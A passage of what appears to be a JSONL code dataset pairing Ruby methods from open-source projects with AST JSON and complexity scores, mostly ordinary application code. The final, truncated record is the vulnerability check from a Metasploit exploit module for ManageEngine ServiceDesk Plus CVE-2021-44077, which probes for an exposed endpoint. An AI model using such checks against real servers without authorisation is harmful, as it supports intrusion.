end","complexity_score":40.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"itunes_connect_id\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"apple_id\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_names\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_API_KEY_PATH\"]},{\"type\":\"str\",\"children\":[\"APP_STORE_CONNECT_API_KEY_PATH\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to your App Store Connect API Key JSON file (https://docs.fastlane.tools/app-store-connect-api/#using-fastlane-api-key-json-file)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't find API key JSON file at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"api_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_names\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_API_KEY\"]},{\"type\":\"str\",\"children\":[\"APP_STORE_CONNECT_API_KEY\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Your App Store Connect API Key information (https://docs.fastlane.tools/app-store-connect-api/#use-return-value-and-pass-in-as-an-option)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"SharedValues\"]},\"APP_STORE_CONNECT_API_KEY\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-u\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_USERNAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Your Apple ID Username for App Store Connect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"app_identifier\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_APP_IDENTIFIER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The bundle identifier of your app\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"app_identifier\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-k\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_TEAM_ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The ID of your App Store Connect team if you're in multiple teams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_type_validation\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"itc_team_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FASTLANE_ITC_TEAM_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"team_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-e\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_TEAM_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The name of your App Store Connect team if you're in multiple teams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"itc_team_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FASTLANE_ITC_TEAM_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-p\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_PLATFORM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The app platform for dSYMs you wish to download (ios, xros, appletvos)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"sym\",\"children\":[\"ios\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-v\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_VERSION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The app version for dSYMs you wish to download, pass in 'latest' to download only the latest build's dSYMs or 'live' to download only the live version dSYMs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"build_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_BUILD_NUMBER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The app build_number for dSYMs you wish to download\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_type_validation\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"min_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-m\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_MIN_VERSION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The minimum app version for dSYMs you wish to download\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"after_uploaded_date\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-d\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_AFTER_UPLOADED_DATE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The uploaded date after which you wish to download dSYMs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"output_directory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_OUTPUT_DIRECTORY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Where to save the download dSYMs, defaults to the current path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"wait_for_dsym_processing\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-w\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_WAIT_FOR_DSYM_PROCESSING\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Wait for dSYMs to process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"wait_timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-t\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DOWNLOAD_DSYMS_WAIT_TIMEOUT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Number of seconds to wait for dSYMs to process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"int\",\"children\":[300]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]}]}]}]}]}]}]}","id":"bd3636c2-e680-4959-9f6b-c9f18c0dfc0b"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/authentication.rb","start_line":43,"raw_source":"def add_strategy(name, clazz, auth_scheme)\n        Warden::Strategies.add name, clazz\n\n        info = Manager.auth_scheme auth_scheme\n        info.strategies << name\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_strategy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"clazz\"]},{\"type\":\"arg\",\"children\":[\"auth_scheme\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Warden\"]},\"Strategies\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"clazz\"]}]},{\"type\":\"lvasgn\",\"children\":[\"info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Manager\"]},\"auth_scheme\",{\"type\":\"lvar\",\"children\":[\"auth_scheme\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]},\"strategies\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"899ea476-d298-42b4-a919-70ed75bcd453"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/validations.rb","start_line":77,"raw_source":"def custom_validation_context? # :nodoc:\n      validation_context && [:create, :update].exclude?(validation_context)\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_validation_context?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validation_context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]},\"exclude?\",{\"type\":\"send\",\"children\":[null,\"validation_context\"]}]}]}]}","id":"b5a0c91e-476c-45e8-a4b0-0a8f99fb8a2a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/mattermost/client.rb","start_line":29,"raw_source":"def delete(session, path, options)\n      json_response session.delete(path, options)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"json_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"fbffd294-15c3-46d0-887e-020b2c749672"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/internal_helpers.rb","start_line":120,"raw_source":"def response_with_status(code: 200, success: true, message: nil, **extra_options)\n        status code\n        { status: success, message: message }.merge(extra_options).compact\n      end","complexity_score":3.45,"ast_json":"{\"type\":\"def\",\"children\":[\"response_with_status\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"code\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"kwoptarg\",\"children\":[\"success\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"extra_options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\",{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"extra_options\"]}]},\"compact\"]}]}]}","id":"1da5ab44-0bd2-45ee-915a-f9786341b3b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/stage.rb","start_line":210,"raw_source":"def latest_stage_status\n      statuses.latest.composite_status || 'skipped'\n    end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_stage_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"statuses\"]},\"latest\"]},\"composite_status\"]},{\"type\":\"str\",\"children\":[\"skipped\"]}]}]}","id":"32de13f5-be60-45cd-be1d-2489e506ccbf"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/sd_notify.rb","start_line":76,"raw_source":"def self.mainpid(pid, unset_env = false)\n      notify(\"#{MAINPID}#{pid}\", unset_env)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mainpid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]},{\"type\":\"optarg\",\"children\":[\"unset_env\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"notify\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAINPID\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]},{\"type\":\"lvar\",\"children\":[\"unset_env\"]}]}]}","id":"54a25d68-7261-4cf2-85b5-8e580106a66f"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/filter.rb","start_line":6,"raw_source":"def filter(text)\n        page.find(\".sidebar-filter__input\").fill_in(with: text)\n        self\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".sidebar-filter__input\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"86206c21-195c-4ed8-851a-613459d9d342"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/similar_topics_controller.rb","start_line":11,"raw_source":"def blurb\n      Search::GroupedSearchResults.blurb_for(cooked: @topic.try(:blurb))\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blurb\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Search\"]},\"GroupedSearchResults\"]},\"blurb_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cooked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"try\",{\"type\":\"sym\",\"children\":[\"blurb\"]}]}]}]}]}]}","id":"7ba64da3-7cf0-44fb-9173-9b3c2a5b8afc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/manageengine_servicedesk_plus_cve_2021_44077.rb","start_line":67,"raw_source":"def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, '/RestAPI/ImportTechnicians')\n    )\n\n    unless res\n      return CheckCode::Unknown('Target failed to respond to check.')\n    end\n\n    # NOTE: /RestAPI/ImportTechnicians was removed after build 11303\n    unless res.code == 200 && res.get_html_document.at('//form[@name=\"ImportTechnicians\"]')\n      return CheckCode::Safe('/RestAPI/ImportTechnicians is not present.')\n    end\n\n    CheckCode::Appears('/RestAPI/ImportTechnicians is present.')\n  